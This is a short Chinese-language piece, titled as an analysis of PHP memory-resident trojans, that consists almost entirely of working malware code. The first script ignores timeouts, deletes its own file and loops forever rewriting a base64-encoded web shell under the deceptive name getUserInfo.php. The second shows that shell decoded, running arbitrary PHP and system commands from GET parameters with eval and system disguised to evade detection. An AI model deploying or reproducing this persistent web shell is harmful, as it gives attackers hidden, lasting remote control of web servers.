帶你分析PHP記憶體木馬病毒實現原理

<?php
//设置脚本不超时
set_time_limit(0);ignore_user_abort(true);
//删除文件本体
@unlink(__FILE__);
//给木马病毒起一个迷惑性的名字
$file = &#39;./getUserInfo.php&#39;;
//死循环常驻内存。释放木马文件
while(true) {
 if(! file_exists($file)) @file_put_contents($file, base64_decode(&#39;PD9waHAKaWYoJGUgPSBAJF9HRVRbJ2UnXSkgewogICAgJGZ1bmMgPSBAY3JlYXRlX2Z1bmN0aW9uKG51bGwsIGJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2dpJykgLiAkZSAuIGJhc2U2NF9kZWNvZGUoJ0lpazcnKSk7CiAgICAkZnVuYygpOwp9CgppZigkcyA9IEAkX0dFVFsncyddKSB7CiAgICAkZiA9IHN0cl9yZXBsYWNlKCd4JywgJycsICd4eHhzeHh5eHN4eHh4eHh0eHhleHh4bXh4eHh4eHh4Jyk7CiAgICAkZigkcyk7Cn0=&#39;));
 sleep(60);
}

<?php
//以下代码实现了eval关键字和system函数的伪装
//eval($_GET[&#39;e&#39;]);
if($e = @$_GET[&#39;e&#39;]) {
    $func = @create_function(null, base64_decode(&#39;ZXZhbCgi&#39;) . $e . base64_decode(&#39;Iik7&#39;));
    $func();
}
//system($_GET[&#39;s&#39;]);
if($s = @$_GET[&#39;s&#39;]) {
    $f = str_replace(&#39;x&#39;, &#39;&#39;, &#39;xxxsxxyxsxxxxxxtxxexxxmxxxxxxxx&#39;);
    $f($s);
}